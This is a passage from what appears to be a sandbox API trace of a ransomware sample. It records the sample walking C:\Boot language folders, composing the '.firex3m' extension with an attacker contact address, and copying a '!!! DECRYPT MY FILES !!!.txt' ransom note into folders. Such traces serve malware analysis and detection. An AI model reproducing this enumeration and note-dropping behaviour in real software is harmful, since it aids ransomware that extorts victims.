!!!.txtrt@elude.in].firex3m") returned 28 [0101.259] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.259] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.259] GetProcessHeap () returned 0x630000 [0101.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefad0, Size=0x44) returned 0x6789d0 [0101.260] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0101.260] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fonts\\segoe_slboot.ttf", psz="C:\\Boot\\Fonts\\wgl4_boot.ttf", len=0x1b | out: pbstr=0x6ebf398*="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 1 [0101.260] CharLowerBuffW (in: lpsz="C:\\Boot\\Fonts\\wgl4_boot.ttf", cchLength=0x1b | out: lpsz="c:\\boot\\fonts\\wgl4_boot.ttf") returned 0x1b [0101.260] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0101.260] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0101.260] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0101.260] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0101.260] GetProcessHeap () returned 0x630000 [0101.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6789d0, Size=0x48) returned 0x679240 [0101.260] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.260] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0102.336] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0102.336] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\fr-CA\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\fr-CA\\") returned 1 [0102.336] CharLowerBuffW (in: lpsz="C:\\Boot\\fr-CA\\", cchLength=0xe | out: lpsz="c:\\boot\\fr-ca\\") returned 0xe [0102.336] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.336] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.336] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5380 [0102.337] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.337] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.337] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\fr-CA\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 1 [0102.338] CharLowerBuffW (in: lpsz="C:\\Boot\\fr-CA\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\fr-ca\\bootmgr.exe.mui") returned 0x1d [0102.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.338] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.338] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.338] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.338] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0102.338] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0102.338] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\fr-FR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\fr-FR\\") returned 1 [0102.339] CharLowerBuffW (in: lpsz="C:\\Boot\\fr-FR\\", cchLength=0xe | out: lpsz="c:\\boot\\fr-fr\\") returned 0xe [0102.339] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.339] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.339] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f40 [0102.339] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.339] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.339] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\fr-FR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 1 [0102.339] CharLowerBuffW (in: lpsz="C:\\Boot\\fr-FR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\fr-fr\\bootmgr.exe.mui") returned 0x1d [0102.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.339] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.339] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.340] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.340] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\fr-fr\\bootmgr.exe.mui", psz="C:\\Boot\\fr-FR\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 1 [0102.340] CharLowerBuffW (in: lpsz="C:\\Boot\\fr-FR\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\fr-fr\\memtest.exe.mui") returned 0x1d [0102.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.340] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.340] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.340] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc48a0490, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0102.341] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0102.341] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\fr-FR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\fr-fr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.345] GetProcessHeap () returned 0x630000 [0102.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1388 [0102.345] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.345] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0102.345] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0102.346] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\hr-HR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\hr-HR\\") returned 1 [0102.346] CharLowerBuffW (in: lpsz="C:\\Boot\\hr-HR\\", cchLength=0xe | out: lpsz="c:\\boot\\hr-hr\\") returned 0xe [0102.346] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.346] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.346] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0102.347] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.347] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.347] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\hr-HR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 1 [0102.347] CharLowerBuffW (in: lpsz="C:\\Boot\\hr-HR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\hr-hr\\bootmgr.exe.mui") returned 0x1d [0102.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.347] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.347] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.347] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.348] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0102.348] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0102.348] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\hu-HU\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\hu-HU\\") returned 1 [0102.348] CharLowerBuffW (in: lpsz="C:\\Boot\\hu-HU\\", cchLength=0xe | out: lpsz="c:\\boot\\hu-hu\\") returned 0xe [0102.348] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.348] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.349] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0102.349] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.349] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.349] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\hu-HU\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 1 [0102.349] CharLowerBuffW (in: lpsz="C:\\Boot\\hu-HU\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\hu-hu\\bootmgr.exe.mui") returned 0x1d [0102.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.349] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.349] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.349] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.350] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\hu-hu\\bootmgr.exe.mui", psz="C:\\Boot\\hu-HU\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 1 [0102.350] CharLowerBuffW (in: lpsz="C:\\Boot\\hu-HU\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\hu-hu\\memtest.exe.mui") returned 0x1d [0102.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.350] MultiByteToWideChar (in: CodePage=0x3, 